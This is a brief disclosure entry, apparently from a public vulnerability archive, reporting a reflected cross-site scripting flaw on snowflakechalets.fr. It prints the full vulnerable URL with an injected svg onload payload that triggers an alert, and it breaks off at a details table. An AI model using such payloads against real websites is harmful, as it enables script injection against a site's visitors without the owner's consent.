snowflakechalets.fr XSS vulnerability

Vulnerable URL: http://snowflakechalets.fr/galleriecps2/svcore/full.html?bg=transparent%22%3E%3Csvg/onload=alertdocument.domain%3E=http%3A%2F%2Fsnowflakechalets.fr%2Fgalleriecps2/galleryfr.xml=false=true=false=true=true=true=-1=Chalet%20Portes%20du%20Soleil%202 Details: Description| Value ---|---...